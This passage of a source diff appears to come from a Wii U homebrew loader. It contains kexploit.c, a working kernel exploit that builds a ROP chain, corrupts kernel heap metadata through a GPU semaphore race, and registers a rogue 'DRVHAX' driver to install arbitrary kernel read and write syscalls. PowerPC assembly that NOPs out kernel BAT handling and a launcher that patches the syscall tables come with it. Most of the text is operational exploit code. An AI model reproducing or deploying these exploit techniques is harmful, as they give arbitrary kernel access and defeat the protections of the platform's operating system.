#define BAT_SET_NOP_ADDR_1 0xFFF06B6C
#define BAT_SET_NOP_ADDR_2 0xFFF06BF8
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
#define BAT_SET_NOP_ADDR_5 0xFFF1D70C
#define BAT_SET_NOP_ADDR_6 0xFFF1D728
#define BAT_SET_NOP_ADDR_7 0xFFF1D82C
#define BAT_SET_NOP_ADDR_8 0xFFEE11C4
#define BAT_SET_NOP_ADDR_9 0xFFEE11C8
#elif ((VER == 532) || (VER == 540))
#define BAT_SETUP_HOOK_ADDR 0xFFF1D638
# not all of those NOP address are required for every firmware
# mainly these should stop the kernel from removing our IBAT4 and DBAT5
#define BAT_SET_NOP_ADDR_1 0xFFF06A14
#define BAT_SET_NOP_ADDR_2 0xFFF06AA0
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
#define BAT_SET_NOP_ADDR_5 0xFFF1D720
#define BAT_SET_NOP_ADDR_6 0xFFF1D73C
#define BAT_SET_NOP_ADDR_7 0xFFF1D840
#define BAT_SET_NOP_ADDR_8 0xFFEE10B8
#define BAT_SET_NOP_ADDR_9 0xFFEE10BC
#elif ((VER == 500) || (VER == 510))
#define BAT_SETUP_HOOK_ADDR 0xFFF1D518
#define BAT_SET_NOP_ADDR_1 0xFFF0697C
#define BAT_SET_NOP_ADDR_2 0xFFF06A08
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
#define BAT_SET_NOP_ADDR_5 0xFFF1D600
#define BAT_SET_NOP_ADDR_6 0xFFF1D61C
#define BAT_SET_NOP_ADDR_7 0xFFF1D720
#define BAT_SET_NOP_ADDR_8 0xFFEE10B8
#define BAT_SET_NOP_ADDR_9 0xFFEE10BC
#elif VER == 410
#define BAT_SETUP_HOOK_ADDR 0xFFF1AD00
#define BAT_SET_NOP_ADDR_1 0xFFF06708
#define BAT_SET_NOP_ADDR_2 0xFFF06794
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
#define BAT_SET_NOP_ADDR_5 0xFFF1ADE8
#define BAT_SET_NOP_ADDR_6 0xFFF1AE04
#define BAT_SET_NOP_ADDR_7 0xFFF1AF08
#define BAT_SET_NOP_ADDR_8 0xFFEE10B8
#define BAT_SET_NOP_ADDR_9 0xFFEE10BC
#elif VER == 400
#define BAT_SETUP_HOOK_ADDR 0xFFF1A440
#define BAT_SET_NOP_ADDR_1 0xFFF066FC
#define BAT_SET_NOP_ADDR_2 0xFFF06788
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
#define BAT_SET_NOP_ADDR_5 0xFFF1A528
#define BAT_SET_NOP_ADDR_6 0xFFF1A544
//define BAT_SET_NOP_ADDR_7 not present in 400
#define BAT_SET_NOP_ADDR_8 0xFFEE0F50
#define BAT_SET_NOP_ADDR_9 0xFFEE0F54
#elif (VER == 310)
#define BAT_SETUP_HOOK_ADDR 0xFFF19EC4
#define BAT_SET_NOP_ADDR_1 0xFFF06590
#define BAT_SET_NOP_ADDR_2 0xFFF0661C
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
#define BAT_SET_NOP_ADDR_5 0xFFF19FAC
#define BAT_SET_NOP_ADDR_6 0xFFF19FC8
// #define BAT_SET_NOP_ADDR_7 not present in 3.1.0
#define BAT_SET_NOP_ADDR_8 0xFFEE0FB0
#define BAT_SET_NOP_ADDR_9 0xFFEE0FB4
#elif (VER == 300)
#define BAT_SETUP_HOOK_ADDR 0xFFF19E2C
#define BAT_SET_NOP_ADDR_1 0xFFF06590
#define BAT_SET_NOP_ADDR_2 0xFFF0661C
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
#define BAT_SET_NOP_ADDR_5 0xFFF19F14
#define BAT_SET_NOP_ADDR_6 0xFFF19F30
// #define BAT_SET_NOP_ADDR_7 not present in 3.0.x
#define BAT_SET_NOP_ADDR_8 0xFFEE0DB8
#define BAT_SET_NOP_ADDR_9 0xFFEE0DBC
#else
#error Please define valid values for kernel setup.
#endif
#ifdef USE_SD_LOADER
#define BAT_SETUP_HOOK_ENTRY 0x00800000
#else
#define BAT_SETUP_HOOK_ENTRY (0x00800000 + 0x2000)
#endif
#define BAT4U_VAL 0x008000FF
#if VER >= 410
#define BAT4L_VAL 0x30800012
#elif VER <= 400
#define BAT4L_VAL 0x4E800012
#else
#error Please define valid value for firmware setup.
#endif
#define SET_R4_TO_ADDR(addr) \
lis r3, addr@h ; \
ori r3, r3, addr@l ; \
stw r4, 0(r3) ; \
dcbf 0, r3 ; \
icbi 0, r3 ;
.globl SC_0x25_KernelCopyData
SC_0x25_KernelCopyData:
li r0, 0x2500
sc
blr
.globl Syscall_0x36
Syscall_0x36:
li r0, 0x3600
sc
blr
.globl KernelPatches
KernelPatches:
# store the old DBAT0
mfdbatu r5, 0
mfdbatl r6, 0
# memory barrier
eieio
isync
# setup DBAT0 for access to kernel code memory
lis r3, 0xFFF0
ori r3, r3, 0x0002
mtdbatu 0, r3
lis r3, 0xFFF0
ori r3, r3, 0x0032
mtdbatl 0, r3
# memory barrier
eieio
isync
# SaveAndResetDataBATs_And_SRs hook setup, but could be any BAT function though
# just chosen because its simple
lis r3, BAT_SETUP_HOOK_ADDR@h
ori r3, r3, BAT_SETUP_HOOK_ADDR@l
# make the kernel setup our section in IBAT4 and
# jump to our function to restore the replaced instructions
lis r4, 0x3ce0 # lis r7, BAT4L_VAL@h
ori r4, r4, BAT4L_VAL@h
stw r4, 0x00(r3)
lis r4, 0x60e7 # ori r7, r7, BAT4L_VAL@l
ori r4, r4, BAT4L_VAL@l
stw r4, 0x04(r3)
lis r4, 0x7cf1 # mtspr 561, r7
ori r4, r4, 0x8ba6
stw r4, 0x08(r3)
lis r4, 0x3ce0 # lis r7, BAT4U_VAL@h
ori r4, r4, BAT4U_VAL@h
stw r4, 0x0C(r3)
lis r4, 0x60e7 # ori r7, r7, BAT4U_VAL@l
ori r4, r4, BAT4U_VAL@l
stw r4, 0x10(r3)
lis r4, 0x7cf0 # mtspr 560, r7
ori r4, r4, 0x8ba6
stw r4, 0x14(r3)
lis r4, 0x7c00 # eieio
ori r4, r4, 0x06ac
stw r4, 0x18(r3)
lis r4, 0x4c00 # isync
ori r4, r4, 0x012c
stw r4, 0x1C(r3)
lis r4, 0x7ce8 # mflr r7
ori r4, r4, 0x02a6
stw r4, 0x20(r3)
lis r4, (BAT_SETUP_HOOK_ENTRY | 0x48000003)@h # bla BAT_SETUP_HOOK_ENTRY
ori r4, r4, (BAT_SETUP_HOOK_ENTRY | 0x48000003)@l
stw r4, 0x24(r3)
# flush and invalidate the replaced instructions
lis r3, (BAT_SETUP_HOOK_ADDR & ~31)@h
ori r3, r3, (BAT_SETUP_HOOK_ADDR & ~31)@l
dcbf 0, r3
icbi 0, r3
lis r3, ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31)@h
ori r3, r3, ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31)@l
dcbf 0, r3
icbi 0, r3
sync
# setup IBAT4 for core 1 at this position (not really required but wont hurt)
# IBATL 4
lis r3, BAT4L_VAL@h
ori r3, r3, BAT4L_VAL@l
mtspr 561, r3
# IBATU 4
lis r3, BAT4U_VAL@h
ori r3, r3, BAT4U_VAL@l
mtspr 560, r3
# memory barrier
eieio
isync
# write "nop" to some positions
lis r4, 0x6000
# nop on IBATU 4 and DBAT 5 set/reset
#ifdef BAT_SET_NOP_ADDR_1
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_1)
#endif
#ifdef BAT_SET_NOP_ADDR_2
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_2)
#endif
#ifdef BAT_SET_NOP_ADDR_3
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_3)
#endif
#ifdef BAT_SET_NOP_ADDR_4
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_4)
#endif
#ifdef BAT_SET_NOP_ADDR_5
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_5)
#endif
#ifdef BAT_SET_NOP_ADDR_6
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_6)
#endif
#ifdef BAT_SET_NOP_ADDR_7
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_7)
#endif
#if (defined(BAT_SET_NOP_ADDR_8) && defined(BAT_SET_NOP_ADDR_9))
# memory barrier
eieio
isync
# setup DBAT0 for access to kernel code memory
lis r3, 0xFFEE
ori r3, r3, 0x0002
mtdbatu 0, r3
lis r3, 0xFFEE
ori r3, r3, 0x0032
mtdbatl 0, r3
# memory barrier
eieio
isync
# write "nop" to some positions
lis r4, 0x6000
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_8)
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_9)
#endif
# memory barrier
eieio
isync
# restore DBAT 0 and return from interrupt
mtdbatu 0, r5
mtdbatl 0, r6
# memory barrier
eieio
isync
blr

254
hbl_loader/kexploit.c Normal file
View File

@ -0,0 +1,254 @@
#include "kexploit.h"
#include "coreinit.h"
void wait(unsigned int coreinit_handle, unsigned int t);
void doBrowserShutdown(unsigned int coreinit_handle);
void setupOSScreen(unsigned int coreinit_handle);
void printOSScreenMsg(unsigned int coreinit_handle, char *buf,unsigned int pos);
void exitOSScreen(unsigned int coreinit_handle);
void callSysExit(unsigned int coreinit_handle, void *sysFunc);
/* Initial setup code stolen from Pong, makes race much more reliable */
void run_kexploit(private_data_t *private_data)
{
/* Get a handle to coreinit.rpl and gx2.rpl */
unsigned int coreinit_handle = private_data->coreinit_handle;
unsigned int gx2_handle = 0;
OSDynLoad_Acquire("gx2.rpl", &gx2_handle);
/* Exit functions */
void (*__PPCExit)();
void (*_Exit)(int);
OSDynLoad_FindExport(coreinit_handle, 0, "__PPCExit", &__PPCExit);
OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit);
/* Memory functions */
void (*DCFlushRange)(void *buffer, uint32_t length);
void (*DCInvalidateRange)(void *buffer, uint32_t length);
void (*DCTouchRange)(void *buffer, uint32_t length);
uint32_t (*OSEffectiveToPhysical)(void *vaddr);
void* (*OSAllocFromSystem)(uint32_t size, int align);
void (*OSFreeToSystem)(void *ptr);
OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange);
OSDynLoad_FindExport(coreinit_handle, 0, "DCInvalidateRange", &DCInvalidateRange);
OSDynLoad_FindExport(coreinit_handle, 0, "DCTouchRange", &DCTouchRange);
OSDynLoad_FindExport(coreinit_handle, 0, "OSEffectiveToPhysical", &OSEffectiveToPhysical);
OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem);
OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem);
/* OS thread functions */
bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int priority, uint16_t attr);
int (*OSResumeThread)(void *thread);
void (*OSExitThread)();
int (*OSIsThreadTerminated)(void *thread);
void (*OSYieldThread)(void);
OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated);
OSDynLoad_FindExport(coreinit_handle, 0, "OSYieldThread", &OSYieldThread);
/* OSDriver functions */
uint32_t reg[] = {0x38003200, 0x44000002, 0x4E800020};
uint32_t (*Register)(char *driver_name, uint32_t name_length, void *buf1, void *buf2) = find_gadget(reg, 0xc, (uint32_t) __PPCExit);
uint32_t dereg[] = {0x38003300, 0x44000002, 0x4E800020};
uint32_t (*Deregister)(char *driver_name, uint32_t name_length) = find_gadget(dereg, 0xc, (uint32_t) __PPCExit);
uint32_t copyfrom[] = {0x38004700, 0x44000002, 0x4E800020};
uint32_t (*CopyFromSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyfrom, 0xc, (uint32_t) __PPCExit);
uint32_t copyto[] = {0x38004800, 0x44000002, 0x4E800020};
uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyto, 0xc, (uint32_t) __PPCExit);
/* GX2 functions */
void (*GX2SetSemaphore)(uint64_t *sem, int action);
void (*GX2Init)(void *arg);
void (*GX2Shutdown)(void);
OSDynLoad_FindExport(gx2_handle, 0, "GX2SetSemaphore", &GX2SetSemaphore);
OSDynLoad_FindExport(gx2_handle, 0, "GX2Init", &GX2Init);
OSDynLoad_FindExport(gx2_handle, 0, "GX2Shutdown", &GX2Shutdown);
/* Init GX2 again */
GX2Init((void*)0);
/* Allocate space for DRVHAX */
uint32_t *drvhax = OSAllocFromSystem(0x4c, 4);
/* Set the kernel heap metadata entry */
uint32_t *metadata = (uint32_t*) (KERN_HEAP + METADATA_OFFSET + (0x02000000 * METADATA_SIZE));
metadata[0] = (uint32_t)drvhax;
metadata[1] = (uint32_t)-0x4c;
metadata[2] = (uint32_t)-1;
metadata[3] = (uint32_t)-1;
/* Find some gadgets */
uint32_t gx2data[] = {0xFC2A0000};
uint32_t gx2data_addr = (uint32_t) find_gadget(gx2data, 0x04, 0x10000000);
uint32_t r3r4load[] = {0x80610008, 0x8081000C, 0x80010014, 0x7C0803A6, 0x38210010, 0x4E800020};
uint32_t r3r4load_addr = (uint32_t) find_gadget(r3r4load, 0x18, 0x01000000);
uint32_t r30r31load[] = {0x80010014, 0x83e1000c, 0x7c0803a6, 0x83c10008, 0x38210010, 0x4e800020};
uint32_t r30r31load_addr = (uint32_t) find_gadget(r30r31load, 0x18, 0x01000000);
uint32_t doflush[] = {0xba810008, 0x8001003c, 0x7c0803a6, 0x38210038, 0x4e800020, 0x9421ffe0, 0xbf61000c, 0x7c0802a6, 0x7c7e1b78, 0x7c9f2378, 0x90010024};
uint32_t doflush_addr = (uint32_t) find_gadget(doflush, 0x2C, 0x01000000) + 0x14 + 0x18;
uint32_t gx2rop[] = {0x819A0004, 0x55800036, 0x7C006040, 0x40820054, 0x2C190000, 0x4182004C, 0x2C1F0000, 0x40820044, 0x2C1D0000, 0x4182003C, 0x2C1E0000};
uint32_t gx2rop_addr = (uint32_t) find_gadget(gx2rop, 0x2C, 0x01000000);
/* Modify a next ptr on the heap */
uint32_t kpaddr = KERN_HEAP_PHYS + STARTID_OFFSET;
/* Make a thread to modify the semaphore */
OSContext *thread = (OSContext*)private_data->MEMAllocFromDefaultHeapEx(0x1000, 8);
uint32_t *stack = (uint32_t*)private_data->MEMAllocFromDefaultHeapEx(0xA0, 0x20);
if (!OSCreateThread(thread, (void*)gx2rop_addr, 0, NULL, ((uint32_t)stack) + 0xA0, 0xA0, 0, 0x1 | 0x8)) OSFatal("Failed to create thread");
/* Set up the ROP chain */
thread->gpr[1] = (uint32_t)stack;
thread->gpr[3] = kpaddr;
thread->gpr[30] = gx2data_addr;
thread->gpr[31] = 1;
thread->srr0 = ((uint32_t)GX2SetSemaphore) + 0x2C;
stack[0x24/4] = r30r31load_addr; /* Load r30/r31 - stack=0x20 */
stack[0x28/4] = gx2data_addr; /* r30 = GX2 data area */
stack[0x2c/4] = 1; /* r31 = 1 (signal) */
stack[0x34/4] = r3r4load_addr; /* Load r3/r4 - stack=0x30 */
stack[0x38/4] = kpaddr;
stack[0x44/4] = ((uint32_t)GX2SetSemaphore) + 0x2C; /* GX2SetSemaphore() - stack=0x40 */
stack[0x64/4] = r30r31load_addr; /* Load r30/r31 - stack=0x60 */
stack[0x68/4] = 0x100; /* r30 = r3 of do_flush = 0x100 */
stack[0x6c/4] = 1; /* r31 = r4 of do_flush = 1 */
stack[0x74/4] = doflush_addr; /* do_flush() - stack=0x70 */
stack[0x94/4] = (uint32_t)OSExitThread;
DCFlushRange(thread, 0x1000);
DCFlushRange(stack, 0x1000);
/* Start the thread */
OSResumeThread(thread);
/* Wait for a while */
while(OSIsThreadTerminated(thread) == 0)
{
OSYieldThread();
}
/* Free stuff */
private_data->MEMFreeToDefaultHeap(thread);
private_data->MEMFreeToDefaultHeap(stack);
/* Register a new OSDriver, DRVHAX */
char drvname[6] = {'D', 'R', 'V', 'H', 'A', 'X'};
Register(drvname, 6, NULL, NULL);
/* Modify its save area to point to the kernel syscall table */
drvhax[0x44/4] = KERN_SYSCALL_TBL_2 + (0x34 * 4);
/* Use DRVHAX to install the read and write syscalls */
uint32_t syscalls[2] = {KERN_CODE_READ, KERN_CODE_WRITE};
CopyToSaveArea(drvname, 6, syscalls, 8);
/* Clean up the heap and driver list so we can exit */
kern_write((void*)(KERN_HEAP + STARTID_OFFSET), 0);
kern_write((void*)KERN_DRVPTR, drvhax[0x48/4]);
/* Shut down GX2 again */
GX2Shutdown();
}
/* Simple memcmp() implementation */
int memcmp(void *ptr1, void *ptr2, uint32_t length)
{
uint8_t *check1 = (uint8_t*) ptr1;
uint8_t *check2 = (uint8_t*) ptr2;
uint32_t i;
for (i = 0; i < length; i++)
{
if (check1[i] != check2[i]) return 1;
}
return 0;
}
void* memcpy(void* dst, const void* src, uint32_t size)
{
uint32_t i;
for (i = 0; i < size; i++)
((uint8_t*) dst)[i] = ((const uint8_t*) src)[i];
return dst;
}
/* Find a gadget based on a sequence of words */
void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start)
{
uint32_t *ptr;
/* Search code before JIT area first */
for (ptr = (uint32_t*) gadgets_start; ptr != (uint32_t*) JIT_ADDRESS; ptr++)
{
if (!memcmp(ptr, &code[0], length)) return ptr;
}
/* Restart search after JIT */
for (ptr = (uint32_t*) CODE_ADDRESS_START; ptr != (uint32_t*) CODE_ADDRESS_END; ptr++)
{
if (!memcmp(ptr, &code[0], length)) return ptr;
}
OSFatal("Gadget not found!");
return (void*)0;
}
/* Read a 32-bit word with kernel permissions */
uint32_t __attribute__ ((noinline)) kern_read(const void *addr)
{
uint32_t result;
asm volatile (
"li 3,1\n"
"li 4,0\n"
"li 5,0\n"
"li 6,0\n"
"li 7,0\n"
"lis 8,1\n"
"mr 9,%1\n"
"li 0,0x3400\n"
"mr %0,1\n"
"sc\n"
"nop\n"
"mr 1,%0\n"
"mr %0,3\n"
: "=r"(result)
: "b"(addr)
: "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10",
"11", "12"
);
return result;
}
/* Write a 32-bit word with kernel permissions */
void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value)
{
asm volatile (
"li 3,1\n"
"li 4,0\n"
"mr 5,%1\n"
"li 6,0\n"
"li 7,0\n"
"lis 8,1\n"
"mr 9,%0\n"
"mr %1,1\n"
"li 0,0x3500\n"
"sc\n"
"nop\n"
"mr 1,%1\n"
:
: "r"(addr), "r"(value)
: "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10",
"11", "12"
);
}

51
hbl_loader/kexploit.h Normal file
View File

@ -0,0 +1,51 @@
#ifndef KEXPLOIT_H
#define KEXPLOIT_H
#include "structs.h"
#include "types.h"
/* Wait times for CPU0 and CPU2 */
#define CPU0_WAIT_TIME 80
#define CPU2_WAIT_TIME 92
/* Gadget finding addresses */
#define JIT_ADDRESS 0x01800000
#define CODE_ADDRESS_START 0x0D800000
#define CODE_ADDRESS_END 0x0F848A0C
/* Kernel addresses, stolen from Chadderz */
#define KERN_HEAP 0xFF200000
#define KERN_HEAP_PHYS 0x1B800000
#define KERN_SYSCALL_TBL_1 0xFFE84C70 // unknown
#define KERN_SYSCALL_TBL_2 0xFFE85070 // works with games
#define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader
#define KERN_SYSCALL_TBL_4 0xFFEAAA60 // works with home menu
#define KERN_SYSCALL_TBL_5 0xFFEAAE60 // works with browser (previously KERN_SYSCALL_TBL)
#define KERN_CODE_READ 0xFFF023D4
#define KERN_CODE_WRITE 0xFFF023F4
#define KERN_ADDRESS_TBL 0xFFEAB7A0
#define KERN_DRVPTR (KERN_ADDRESS_TBL - 0x270)
/* Browser PFID */
#define PFID_BROWSER 8
/* Kernel heap constants */
#define STARTID_OFFSET 0x08
#define METADATA_OFFSET 0x14
#define METADATA_SIZE 0x10
/* Size of a Cafe OS thread */
#define OSTHREAD_SIZE 0x1000
void run_kexploit(private_data_t *private_data);
/* Find a ROP gadget by a sequence of bytes */
void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start);
/* Arbitrary read and write syscalls */
uint32_t __attribute__ ((noinline)) kern_read(const void *addr);
void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value);
#endif /* KEXPLOIT_H */

368
hbl_loader/launcher.c Normal file
View File

@ -0,0 +1,368 @@
#include "types.h"
#include "elf_abi.h"
#include "kexploit.h"
#include "structs.h"
#include "sd_loader.h"
#include "coreinit.h"
#define MEM_BASE 0xC0800000
#include "common.h"
#include "os_defs.h"
//! this shouldnt depend on OS
#define LIB_CODE_RW_BASE_OFFSET 0xC1000000
#define CODE_RW_BASE_OFFSET 0xC0000000
#define DATA_RW_BASE_OFFSET 0xC0000000
#define ADDRESS_OSTitle_main_entry_ptr 0x1005E040
#define ADDRESS_main_entry_hook 0x0101C56C
#define ROOTRPX_DBAT0U_VAL 0xC00003FF
#define COREINIT_DBAT0U_VAL 0xC20001FF
#define ROOTRPX_DBAT0L_VAL 0x30000012
#define COREINIT_DBAT0L_VAL 0x32000012
/* Install functions */
static void InstallMain(private_data_t *private_data);
static void InstallPatches(private_data_t *private_data);
static void ExitFailure(private_data_t *private_data, const char *failure);
static void SetupKernelSyscall(unsigned int addr);
static void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len);
/* assembly functions */
extern void SC_0x25_KernelCopyData(void* addr, void* src, unsigned int len);
extern void Syscall_0x36(void);
extern void KernelPatches(void);
/* ****************************************************************** */
/* ENTRY POINT */
/* ****************************************************************** */
void __main(void)
{
/* Quit ongoing menu load music */
unsigned int sound_handle = 0;
OSDynLoad_Acquire("snd_core.rpl", &sound_handle);
void (* AXInit)();
void (* AXQuit)();
OSDynLoad_FindExport(sound_handle, 0, "AXInit", &AXInit);
OSDynLoad_FindExport(sound_handle, 0, "AXQuit", &AXQuit);
AXInit();
AXQuit();
/* Get coreinit handle and keep it in memory */
unsigned int coreinit_handle;
OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle);
/* Get our memory functions */
unsigned int* functionPointer;
void* (*p_memset)(void * dest, unsigned int value, unsigned int bytes);
OSDynLoad_FindExport(coreinit_handle, 0, "memset", &p_memset);
private_data_t private_data;
p_memset(&private_data, 0, sizeof(private_data_t));
private_data.coreinit_handle = coreinit_handle;
private_data.memset = p_memset;
private_data.data_elf = (unsigned char *) sd_loader_sd_loader_elf; // use this address as temporary to load the elf
OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &functionPointer);
private_data.MEMAllocFromDefaultHeapEx = (void*(*)(unsigned int, unsigned int))*functionPointer;
OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &functionPointer);
private_data.MEMFreeToDefaultHeap = (void (*)(void *))*functionPointer;
OSDynLoad_FindExport(coreinit_handle, 0, "memcpy", &private_data.memcpy);
OSDynLoad_FindExport(coreinit_handle, 0, "OSEffectiveToPhysical", &private_data.OSEffectiveToPhysical);
OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &private_data.DCFlushRange);
OSDynLoad_FindExport(coreinit_handle, 0, "ICInvalidateRange", &private_data.ICInvalidateRange);
OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &private_data._Exit);
/* do kernel exploit if needed */
if (private_data.OSEffectiveToPhysical((void *)0xa0000000) == (void *)0)
run_kexploit(&private_data);
/* setup kernel copy data syscall */
kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x25 * 4)), (unsigned int)KernelCopyData);
/* Install our code now */
InstallMain(&private_data);
/* setup our own syscall and call it */
SetupKernelSyscall((unsigned int)KernelPatches);
Syscall_0x36();
/* Patch functions and our code for usage */
InstallPatches(&private_data);
/* Exit our core 0 thread to return to main */
void (*OSExitThread)(int);
OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread);
OSExitThread(0);
}
void ExitFailure(private_data_t *private_data, const char *failure)
{
/************************************************************************/
// Prepare screen
void (*OSScreenInit)();
unsigned int (*OSScreenGetBufferSizeEx)(unsigned int bufferNum);
unsigned int (*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr);
unsigned int (*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp);
unsigned int (*OSScreenFlipBuffersEx)(unsigned int bufferNum);
unsigned int (*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, const char * buffer);
OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenInit", &OSScreenInit);
OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx);
OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx);
OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx);
OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx);
OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx);
// Prepare screen
int screen_buf0_size = 0;
int screen_buf1_size = 0;
unsigned int screen_color = 0; // (r << 24) | (g << 16) | (b << 8) | a;
// Init screen and screen buffers
OSScreenInit();
screen_buf0_size = OSScreenGetBufferSizeEx(0);
screen_buf1_size = OSScreenGetBufferSizeEx(1);
OSScreenSetBufferEx(0, (void *)0xF4000000);
OSScreenSetBufferEx(1, (void *)0xF4000000 + screen_buf0_size);
// Clear screens
OSScreenClearBufferEx(0, screen_color);
OSScreenClearBufferEx(1, screen_color);
// Flush the cache
private_data->DCFlushRange((void *)0xF4000000, screen_buf0_size);
private_data->DCFlushRange((void *)0xF4000000 + screen_buf0_size, screen_buf1_size);
// Flip buffers
OSScreenFlipBuffersEx(0);
OSScreenFlipBuffersEx(1);
OSScreenPutFontEx(1, 0, 0, failure);
OSScreenFlipBuffersEx(1);
OSScreenClearBufferEx(1, 0);
unsigned int t1 = 0x3FFFFFFF;
while(t1--) asm volatile("nop");
private_data->_Exit(0);
}
/* *****************************************************************************
* Base functions
* ****************************************************************************/
static void SetupKernelSyscall(unsigned int address)
{
// Add syscall #0x36
kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x36 * 4)), address);
// make kern_read/kern_write available in all places
kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x34 * 4)), KERN_CODE_READ);
kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x34 * 4)), KERN_CODE_READ);
kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x34 * 4)), KERN_CODE_READ);
kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x34 * 4)), KERN_CODE_READ);
kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x35 * 4)), KERN_CODE_WRITE);
kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x35 * 4)), KERN_CODE_WRITE);
kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x35 * 4)), KERN_CODE_WRITE);
kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x35 * 4)), KERN_CODE_WRITE);
}
static void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len)
{
/*
* Setup a DBAT access for our 0xC0800000 area and our 0xBC000000 area which hold our variables like GAME_LAUNCHED and our BSS/rodata section
*/
register unsigned int dbatu0, dbatl0, target_dbat0u, target_dbat0l;
// setup mapping based on target address
if ((addr >= 0xC0000000) && (addr < 0xC2000000)) // root.rpx address
{
target_dbat0u = ROOTRPX_DBAT0U_VAL;
target_dbat0l = ROOTRPX_DBAT0L_VAL;
}
else if ((addr >= 0xC2000000) && (addr < 0xC3000000))
{
target_dbat0u = COREINIT_DBAT0U_VAL;
target_dbat0l = COREINIT_DBAT0L_VAL;
}
// save the original DBAT value
asm volatile("mfdbatu %0, 0" : "=r" (dbatu0));
asm volatile("mfdbatl %0, 0" : "=r" (dbatl0));
asm volatile("mtdbatu 0, %0" : : "r" (target_dbat0u));
asm volatile("mtdbatl 0, %0" : : "r" (target_dbat0l));
asm volatile("eieio; isync");
unsigned char *src_p = (unsigned char*)src;
unsigned char *dst_p = (unsigned char*)addr;
unsigned int i;
for(i = 0; i < len; i++)
{
dst_p[i] = src_p[i];
}
unsigned int flushAddr = addr & ~31;
while(flushAddr < (addr + len))
{
asm volatile("dcbf 0, %0; sync" : : "r"(flushAddr));
flushAddr += 0x20;
}
/*
* Restore original DBAT value
*/
asm volatile("mtdbatu 0, %0" : : "r" (dbatu0));
asm volatile("mtdbatl 0, %0" : : "r" (dbatl0));
asm volatile("eieio; isync");
}
static int strcmp(const char *s1, const char *s2)
{
while(*s1 && *s2)
{
if(*s1 != *s2) {
return -1;
}
s1++;
s2++;
}
if(*s1 != *s2) {
return -1;
}
return 0;
}
static unsigned int get_section(private_data_t *private_data, unsigned char *data, const char *name, unsigned int * size, unsigned int * addr, int fail_on_not_found)
{
Elf32_Ehdr *ehdr = (Elf32_Ehdr *) data;
if ( !data
|| !IS_ELF (*ehdr)
|| (ehdr->e_type != ET_EXEC)
